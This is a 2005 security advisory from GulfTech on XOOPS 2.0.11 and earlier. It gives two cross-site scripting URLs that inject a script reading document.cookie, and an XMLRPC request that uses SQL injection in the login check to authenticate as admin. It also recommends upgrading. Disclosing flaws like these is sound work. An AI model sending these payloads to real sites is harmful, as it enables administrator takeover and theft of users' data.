##########################################################
# GulfTech Security Research          June 28th, 2005
##########################################################
# Vendor  : XOOPS
# URL     : http://www.xoops.org/
# Version : XOOPS 2.0.11 And Earlier
# Risk    : Multiple Vulnerabilities
##########################################################



Description:
XOOPS is a very popular dynamic web content management system written
in Object Oriented PHP. One of the features of XOOPS is it's own XMLRPC
server that handles incoming XMLRPC requests. This particular feature
is vulnerable to a highly critical SQL Injection issue. Additionally
there are several cross site scripting issues in XOOPS as well which
could allow for theft of user data or client side code execution in the
context of the victim's web browser.



Cross Site Scripting:
There are a number of cross site scripting issues in the XOOPS
content management software.

http://xoops/modules/newbb/edit.php?forum=1&topic_id=1&viewmode=flat&order=
ASC"><script>alert(document.cookie)</script>&post_id=1

http://xoops/modules/repository/comment_edit.php?com_itemid=1&com_order=0&com
_mode=flat&cid=1&cid=1"><script>alert(document.cookie)</script>&com_id=1

These vulnerabilities can be used to render hostile code in the
context of the victims browser, and in turn disclose sensitive
information to an attacker.



SQL Injection:
As I mentioned earlier XOOPS comes with it's own XMLRPC server which is
enabled by default and is named xmlrpc.php The problem with XMLRPC in
xoops is lack of sanitation, but because the data is recieved from the
reserved $HTTP_RAW_POST_DATA variable magic_quotes_gpc are never applied!
This is a big problem and makes every allowable RPC method in the XOOPS
XMLRPC server vulnerable to SQL injection. Why? Well, the main reason is
this. This code is from the bloggerapi.php file that handles all incoming
blogger XMLRPC requests.

function getUserInfo()
{
    if (!$this->_checkUser($this->params[1], $this->params[2])) {
        $this->response->add(new XoopsXmlRpcFault(104));
    } else {
        $struct = new XoopsXmlRpcStruct();
        $struct->add('nickname', new 
XoopsXmlRpcString($this->user->getVar('uname')));
        $struct->add('userid', new 
XoopsXmlRpcString($this->user->getVar('uid')));
        $struct->add('url', new 
XoopsXmlRpcString($this->user->getVar('url')));
        $struct->add('email', new 
XoopsXmlRpcString($this->user->getVar('email')));
        $struct->add('lastname', new XoopsXmlRpcString(''));
        $struct->add('firstname', new 
XoopsXmlRpcString($this->user->getVar('name')));
        $this->response->add($struct);
    }
}

the _checkUser function is really just a wrapper for the XMLRPC server,
as the arguments are eventually passed to the XOOPS core function 
"loginUser()"
which is where the real problem happens. Below is a sample xml file that
when sent to the server will influence the query.

<?xml version="1.0"?>
<methodCall>
    <methodName>blogger.getPost</methodName>
        <params>
            <param>
            <value><string></string></value>
            </param>
            <param>
            <value><string></string></value>
            </param>
            <param>
            <value><string>admin')/*</string></value>
            </param>
            <param>
            <value><string>passwordfield</string></value>
            </param>
            <param>
            <value><string></string></value>
            </param>
        </params>
</methodCall>

This example would authenticate you in as admin and then execute the
blogger.getPost method call. An attacker could use this vulnerability
to easily gain the administrator hash, and much more.



Solution:
A new version of XOOPS has been released, and users should upgrade as
soon as possible. Special thanks to Jan Pederson from XOOPS for acting
so quickly on this very high risk issue. Very prompt, very professional!



Related Info:
The original advisory can be found at the following location
http://www.gulftech.org/?node=research&article_id=00086-06292005



Credits:
James Bercegay of the GulfTech Security Research Team